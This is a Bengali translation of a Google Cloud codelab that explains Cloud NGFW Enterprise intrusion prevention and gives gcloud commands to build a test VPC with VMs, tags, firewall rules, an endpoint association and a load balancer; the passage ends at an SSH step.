ক্লাউড NGFW এন্টারপ্রাইজ - অনুপ্রবেশ প্রতিরোধ পরিষেবা (TLS পরিদর্শন ছাড়া)

1. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হল একটি সম্পূর্ণরূপে বিতরণ করা ফায়ারওয়াল পরিষেবা যার উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন এবং বিস্তৃত কভারেজ রয়েছে যা আপনার গুগল ক্লাউড ওয়ার্কলোডকে অভ্যন্তরীণ এবং বহিরাগত আক্রমণ থেকে রক্ষা করে।

ক্লাউড NGFW এর নিম্নলিখিত সুবিধা রয়েছে:

  • বিতরণকৃত ফায়ারওয়াল পরিষেবা: ক্লাউড NGFW প্রতিটি কাজের চাপের উপর একটি স্টেটফুল, সম্পূর্ণরূপে বিতরণকৃত হোস্ট-ভিত্তিক এনফোর্সমেন্ট প্রদান করে যাতে জিরো-ট্রাস্ট সুরক্ষা আর্কিটেকচার সক্ষম করা যায়।
  • সরলীকৃত কনফিগারেশন এবং স্থাপনা: ক্লাউড NGFW নেটওয়ার্ক এবং শ্রেণিবদ্ধ ফায়ারওয়াল নীতিগুলি প্রয়োগ করে যা একটি রিসোর্স শ্রেণিবিন্যাস নোডের সাথে সংযুক্ত করা যেতে পারে। এই নীতিগুলি গুগল ক্লাউড রিসোর্স শ্রেণিবিন্যাস জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে।
  • গ্রানুলার কন্ট্রোল এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল নীতি এবং আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (IAM)-নিয়ন্ত্রিত ট্যাগের সমন্বয় ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্ক এবং সংস্থাগুলিতে উত্তর-দক্ষিণ এবং পূর্ব-পশ্চিম উভয় ট্র্যাফিকের জন্য, একটি একক VM পর্যন্ত, সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ নিম্নলিখিত স্তরগুলিতে উপলব্ধ:

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ

ক্লাউড NGFW এন্টারপ্রাইজ বিতরণকৃত গুগল ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে একটি লেয়ার 7 ক্ষমতা, Intrusion Prevention Service (IPS) , যোগ করে। TLS এনক্রিপ্টেড ট্র্যাফিকের জন্য পরিদর্শনের অনুমতি দেওয়ার জন্য TLS পরিদর্শন সমর্থিত, তবে এটি এই কোডল্যাবের আওতার বাইরে ( TLS পরিদর্শন সহ ক্লাউড NGFW এন্টারপ্রাইজ কোডল্যাব দেখুন)।

আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনও পরিবর্তন না করেই আপনি এখন নির্ভরযোগ্য লেয়ার ৭ নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) পরিদর্শনগুলি গ্রানুলার কন্ট্রোল সহ স্থাপন করতে পারেন।

IPS দিয়ে লেয়ার ৭ ফায়ারওয়াল নিয়ন্ত্রণ সক্রিয় এবং স্থাপন করতে, আপনাকে নিম্নলিখিত কাজগুলি সম্পাদন করতে হবে:

  • গুগল ক্লাউড পরিচালিত জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন।
  • ঐচ্ছিকভাবে একটি TLS পরিদর্শন নীতি তৈরি করুন (এই কোডল্যাবে অন্তর্ভুক্ত নয়)
  • ঐচ্ছিকভাবে একটি ট্রাস্ট কনফিগ তৈরি করুন (এই কোডল্যাবে অন্তর্ভুক্ত নয়)
  • এই এন্ডপয়েন্টগুলিকে ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কগুলির সাথে সংযুক্ত করুন যেখানে আপনার ক্লাউড NGFW এন্টারপ্রাইজ পরিষেবার প্রয়োজন।
  • বিভিন্ন ট্র্যাফিক পাথের জন্য হুমকি প্রতিরোধ প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল নীতি এবং ফায়ারওয়াল নিয়মগুলিতে সহজ পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল নীতিমালা

নেটওয়ার্ক ফায়ারওয়াল নীতি ফায়ারওয়াল নিয়মের একটি ধারক হিসেবে কাজ করে। নেটওয়ার্ক ফায়ারওয়াল নীতিতে সংজ্ঞায়িত নিয়মগুলি কোথাও প্রয়োগ করা হয় না যতক্ষণ না নীতিটি একটি VPC নেটওয়ার্কের সাথে যুক্ত হয়। প্রতিটি VPC নেটওয়ার্কের সাথে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি যুক্ত থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি ফায়ারওয়াল নিয়মগুলিতে IAM-নিয়ন্ত্রিত ট্যাগ (অথবা কেবল ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগগুলিকে প্রতিস্থাপন করে এবং কাজের চাপকে পরিচয় প্রদান করতে ব্যবহার করা যেতে পারে।

নেটওয়ার্ক জুড়ে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি ভাগ করে নেওয়া এবং IAM-নিয়ন্ত্রিত ট্যাগগুলির সাথে একীকরণ ফায়ারওয়ালগুলির কনফিগারেশন এবং পরিচালনাকে ব্যাপকভাবে সহজ করে তোলে।

নেটওয়ার্ক ফায়ারওয়াল নীতি প্রবর্তনের সাথে সাথে, গুগল ক্লাউডের ফায়ারওয়াল নীতিগুলি এখন নিম্নলিখিত উপাদানগুলি নিয়ে গঠিত:

  1. হায়ারার্কিকাল ফায়ারওয়াল নীতি
  2. ভিপিসি ফায়ারওয়াল নিয়ম
  3. নেটওয়ার্ক ফায়ারওয়াল নীতি ( বৈশ্বিক এবং আঞ্চলিক )

হায়ারার্কিকাল ফায়ারওয়াল নীতিগুলি সংস্থান এবং রিসোর্স হায়ারার্কির মধ্যে ফোল্ডার নোডগুলিতে সমর্থিত, যেখানে VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি VPC স্তরে প্রয়োগ করা হয়। VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলির মধ্যে একটি বড় পার্থক্য হল যে VPC ফায়ারওয়াল নিয়মগুলি শুধুমাত্র একটি একক VPC নেটওয়ার্কে প্রয়োগ করা যেতে পারে, যেখানে নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি একটি একক VPC বা VPC গোষ্ঠীর সাথে সংযুক্ত করা যেতে পারে, ব্যাচ আপডেটের মতো অন্যান্য সুবিধাগুলির মধ্যে।

পরিশেষে, আমাদের কাছে প্রতিটি VPC নেটওয়ার্কের সাথে আসা অন্তর্নিহিত ফায়ারওয়াল নিয়মগুলিও রয়েছে:

  • একটি বহির্গমন নিয়ম যার ক্রিয়া অনুমোদিত, গন্তব্য হল 0.0.0.0/0
  • একটি প্রবেশ নিয়ম যার ক্রিয়া হল অস্বীকার, উৎস হল 0.0.0.0/0

ডিফল্টরূপে, প্রয়োগের ক্রম নিম্নলিখিত চিত্রে দেখানো হয়েছে:

21b3bcabc469ffe.png সম্পর্কে

অনুগ্রহ করে মনে রাখবেন যে VPC ফায়ারওয়াল নিয়ম এবং গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতির মধ্যে প্রয়োগের আদেশ অদলবদল করা যেতে পারে। গ্রাহকরা gcloud কমান্ডের মাধ্যমে যেকোনো সময় প্রয়োগের আদেশ নির্দিষ্ট করতে পারেন।

IAM-governed ট্যাগ

নেটওয়ার্ক ফায়ারওয়াল নীতি নিয়মে অন্তর্ভুক্ত নতুন ট্যাগগুলি হল গুগল ক্লাউড রিসোর্স হায়ারার্কির সংগঠন বা প্রকল্প-স্তরে সংজ্ঞায়িত কী-মান জোড়া রিসোর্স। এই ধরনের ট্যাগে একটি IAM অ্যাক্সেস নিয়ন্ত্রণ থাকে, যেমন নাম থেকেই বোঝা যায়, যা ট্যাগে কে কী করতে পারে তা নির্দিষ্ট করে। উদাহরণস্বরূপ, IAM অনুমতিগুলি একজনকে নির্দিষ্ট করার অনুমতি দেয় যে কোন প্রিন্সিপালরা ট্যাগগুলিতে মান নির্ধারণ করতে পারে এবং কোন প্রিন্সিপালরা রিসোর্সে ট্যাগ সংযুক্ত করতে পারে। একবার একটি ট্যাগ একটি রিসোর্সে প্রয়োগ করা হয়ে গেলে, নেটওয়ার্ক ফায়ারওয়াল নিয়মগুলি ট্র্যাফিককে অনুমতি দিতে এবং অস্বীকার করতে এটি ব্যবহার করতে পারে।

ট্যাগগুলি গুগল ক্লাউডের উত্তরাধিকার রিসোর্স মডেল মেনে চলে, যার অর্থ ট্যাগ এবং তাদের মানগুলি তাদের পিতামাতার কাছ থেকে শ্রেণিবিন্যাস জুড়ে চলে আসে। ফলস্বরূপ, ট্যাগগুলি এক জায়গায় তৈরি করা যেতে পারে এবং তারপরে রিসোর্স শ্রেণিবিন্যাস জুড়ে অন্যান্য ফোল্ডার এবং প্রকল্পগুলি দ্বারা ব্যবহৃত হতে পারে। ট্যাগ এবং অ্যাক্সেস সীমাবদ্ধতা সম্পর্কে বিস্তারিত জানতে এই পৃষ্ঠাটি দেখুন।

ট্যাগগুলিকে নেটওয়ার্ক ট্যাগের সাথে গুলিয়ে ফেলা উচিত নয়। পরেরটি হল স্ট্রিং যা কম্পিউট ইঞ্জিন ইনস্ট্যান্সে যোগ করা যেতে পারে; এগুলি ইনস্ট্যান্সের সাথে যুক্ত থাকে এবং ইনস্ট্যান্সটি বন্ধ হয়ে গেলে অদৃশ্য হয়ে যায়। VPC ফায়ারওয়াল নিয়মগুলিতে নেটওয়ার্ক ট্যাগ অন্তর্ভুক্ত থাকতে পারে, কিন্তু যেহেতু এগুলিকে ক্লাউড রিসোর্স হিসাবে বিবেচনা করা হয় না, তাই এগুলি IAM অ্যাক্সেস নিয়ন্ত্রণের অধীন নয়।

মনে রাখবেন যে এই নথিতে ট্যাগ এবং IAM-শাসিত ট্যাগগুলি বিনিময়যোগ্যভাবে ব্যবহৃত হচ্ছে।

তুমি কী তৈরি করবে

এই কোডল্যাবের জন্য একটি একক প্রকল্প এবং পাবলিক কানেক্টিভিটি সহ একটি VPC নেটওয়ার্ক তৈরি করার ক্ষমতা প্রয়োজন, এবং এটি প্রদর্শন করবে কিভাবে ক্লাউড NGFW এন্টারপ্রাইজ IPS কার্যকারিতা প্রদান করতে পারে:

  • ভিপিসি/সাবনেট প্রবাহের ভেতরের দিক পরিদর্শন [পূর্ব-পশ্চিম]
  • ইন্টারনেট থেকে অনুপ্রবেশ প্রবাহ পরীক্ষা করা হচ্ছে [উত্তর-দক্ষিণ]

পরিদর্শনের জন্য প্রবাহগুলি ক্লাউড ফায়ারওয়াল ম্যাচিং প্যারামিটার ব্যবহার করে নির্বাচন করা হবে যার মধ্যে রয়েছে 5-টিউপল (সোর্স আইপি, ডেস্টিনেশন আইপি, প্রোটোকল, সোর্স পোর্ট, ডেস্টিনেশন পোর্ট) এবং ট্যাগ। এই কোডল্যাবে TLS পরিদর্শন অন্তর্ভুক্ত নয়।

52a0642ef8668ecf.png সম্পর্কে

নেটওয়ার্ক ফায়ারওয়াল নীতির নিয়ম বেস নীচের টেবিলের মতো হবে:

অগ্রাধিকার

দিকনির্দেশনা

লক্ষ্য

উৎস

গন্তব্য

অ্যাকশন

আদর্শ

১০০

বহির্গমন

কোয়ারেন্টাইন_ট্যাগ

যেকোনো

যেকোনো

অস্বীকার করুন

অপরিহার্য জিনিসপত্র

১০০০

প্রবেশ

সার্ভার_ট্যাগ

স্বাস্থ্য-পরীক্ষার পরিসর

যেকোনো

অনুমতি দিন

অপরিহার্য জিনিসপত্র

২০০০

প্রবেশ

যেকোনো

পরিচয়-সচেতন প্রক্সি পরিসর

যেকোনো

অনুমতি দিন

অপরিহার্য জিনিসপত্র

৩০০০

প্রবেশ

যেকোনো

জিও, জিসিটিআই

যেকোনো

অস্বীকার করুন

স্ট্যান্ডার্ড

৪০০০

বহির্গমন

যেকোনো

যেকোনো

জিও, জিসিটিআই

অস্বীকার করুন

স্ট্যান্ডার্ড

৫০০০

বহির্গমন

যেকোনো

যেকোনো

সিস্টেম আপডেট FQDN গুলি

অনুমতি দিন

স্ট্যান্ডার্ড

৬০০০

প্রবেশ

সার্ভার_ট্যাগ

১০.০.০.০/২৪

যেকোনো

আইপিএস

এন্টারপ্রাইজ

৭০০০

প্রবেশ

সার্ভার_ট্যাগ

ক্লাউডNAT_IP

যেকোনো

আইপিএস

এন্টারপ্রাইজ

তুমি কি শিখবে

তোমার যা লাগবে

  • গুগল ক্লাউড প্রকল্প
  • ইনস্ট্যান্স স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান।
  • ভিপিসি ফায়ারওয়াল কনফিগারেশন জ্ঞান

2. শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেলে gcloud কনফিগারেশন বাস্তবায়নে সহায়তা করার জন্য $variables ব্যবহার করে।

ক্লাউড শেলে, প্রয়োজন অনুযায়ী বন্ধনীর মধ্যে তথ্য প্রতিস্থাপন করে নিচের কমান্ডগুলি চালান (যদি পছন্দসই প্রকল্পটি ইতিমধ্যেই সেট করা থাকে তবে প্রকল্পটি সেটিং এড়িয়ে যান)। একাধিক যেমন ফায়ারওয়াল এন্ডপয়েন্টের প্রয়োজন হলে প্রতিষ্ঠান-স্তরের রিসোর্সের জন্য একটি ভিন্ন ভেরিয়েবল ব্যবহার করা হয়।

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

৩. API গুলি সক্ষম করুন

যদি আপনি API গুলি সক্রিয় না করে থাকেন:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

৪. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ সিকিউরিটি প্রোফাইল এবং এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরিতে প্রায় ২০ মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং এন্ডপয়েন্ট তৈরির সময় বেস সেটআপ সমান্তরালভাবে করা যেতে পারে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

নিশ্চিত করুন যে সম্পদগুলি সফলভাবে তৈরি করা হয়েছে:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

এন্ডপয়েন্ট তৈরি হচ্ছে কিনা তা নিশ্চিত করতে নীচের কমান্ডটি চালান (STATE: CREATING )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (মনে রাখবেন যে আউটপুট ফর্ম্যাটটি ব্যবহৃত ক্লায়েন্ট অনুসারে পরিবর্তিত হতে পারে):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

এন্ডপয়েন্ট তৈরির প্রক্রিয়াটি প্রায় ২০ মিনিট সময় নেয়। সমান্তরালভাবে প্রয়োজনীয় সংস্থান তৈরি করতে বেস সেটআপ বিভাগে যান।

৫. বেস সেটআপ

আপনি যদি বেস রিসোর্সগুলি ম্যানুয়ালি তৈরি করতে চান তবে নিম্নলিখিত বিভাগগুলিতে এগিয়ে যান।

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

VPC নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

ক্লাউড NAT

ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

ঘটনাবলী

ক্লায়েন্ট এবং ওয়েব-সার্ভারের উদাহরণ তৈরি করুন:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

প্রকল্প-স্তরের ট্যাগ

প্রয়োজনে ব্যবহারকারীকে tagAdmin এবং/অথবা tagUser অনুমতি দিন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

প্রজেক্ট-লেভেল ট্যাগ কী এবং মান তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

ইনস্ট্যান্সের সাথে ট্যাগগুলি সংযুক্ত করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

বিশ্বব্যাপী নেটওয়ার্ক ফায়ারওয়াল নীতি

বিশ্বব্যাপী নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

ক্লাউড ফায়ারওয়াল তৈরি করুন কোয়ারেন্টাইন করা ইনস্ট্যান্স থেকে ট্র্যাফিক প্রত্যাখ্যান করার জন্য প্রয়োজনীয় নিয়ম (শুধুমাত্র উদাহরণ হিসেবে তৈরি, এই কোডল্যাবে ব্যবহার করা হচ্ছে না) এবং স্বাস্থ্য-পরীক্ষা এবং পরিচয়-সচেতন প্রক্সি রেঞ্জ থেকে ট্র্যাফিকের অনুমতি দিন:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

নিষিদ্ধ দেশ, পরিচিত ক্ষতিকারক IP এবং ToR এক্সিট নোড থেকে/থেকে প্রবেশ এবং বহির্গমন ট্র্যাফিক রোধ করার জন্য ক্লাউড ফায়ারওয়াল স্ট্যান্ডার্ড নিয়ম তৈরি করুন; এবং সিস্টেম আপডেটের জন্য শুধুমাত্র নির্দিষ্ট FQDN-তে বহির্গমন ট্র্যাফিকের অনুমতি দিন (শুধুমাত্র উদাহরণ হিসাবে তৈরি, এই কোডল্যাবে ব্যবহার করা হচ্ছে না):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

নির্দিষ্ট রেঞ্জ থেকে পূর্ব-পশ্চিম / ইন্ট্রা-সাবনেট এবং উত্তর-দক্ষিণ / ইন্টারনেট ট্র্যাফিক প্রবেশের অনুমতি দেওয়ার জন্য ক্লাউড ফায়ারওয়াল নিয়ম তৈরি করুন (ক্লাউড NGFW এন্টারপ্রাইজ সক্ষম করার জন্য এই নিয়মগুলি আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

নেটওয়ার্ক ফায়ারওয়াল নীতি VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

এক্সটার্নাল টিসিপি/ইউডিপি নেটওয়ার্ক লোড ব্যালেন্সার

একটি বহিরাগত আইপি ঠিকানা সংরক্ষণ করুন এবং ইনস্ট্যান্স গ্রুপ তৈরি করুন এবং স্বাস্থ্য-পরীক্ষা করুন:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

ব্যাকএন্ড পরিষেবা এবং ফরোয়ার্ডিং নিয়ম তৈরি করুন:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

৬. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট অ্যাসোসিয়েশন

প্রয়োজনে পরিবেশের ভেরিয়েবলগুলি পুনরায় সংজ্ঞায়িত করুন।

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে কিনা তা নিশ্চিত করুন। অবস্থাটি ACTIVE হিসাবে দেখানো হলেই কেবল এগিয়ে যান (তৈরির সময় প্রত্যাশিত অবস্থাটি CREATING ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (মনে রাখবেন যে আউটপুট ফর্ম্যাটটি ব্যবহৃত ক্লায়েন্ট অনুসারে পরিবর্তিত হতে পারে):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্টকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

অ্যাসোসিয়েশন প্রক্রিয়াটি প্রায় ১০ মিনিট সময় নেয়। অবস্থাটি সক্রিয় হিসাবে দেখানো হলেই কেবল এগিয়ে যান (তৈরি প্রক্রিয়ার সময় প্রত্যাশিত অবস্থা তৈরি হচ্ছে):

gcloud network-security firewall-endpoint-associations list

প্রত্যাশিত আউটপুট:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

৭. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ পরিদর্শন নিয়ম

একটি নতুন ট্যাব খুলুন এবং IAP এর মাধ্যমে ক্লায়েন্ট VM-এর সাথে একটি SSH সংযোগ শুরু করুন (আপনাকে নতুন ট্যাবে আবার ভেরিয়েবলগুলি সংজ্ঞায়িত করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

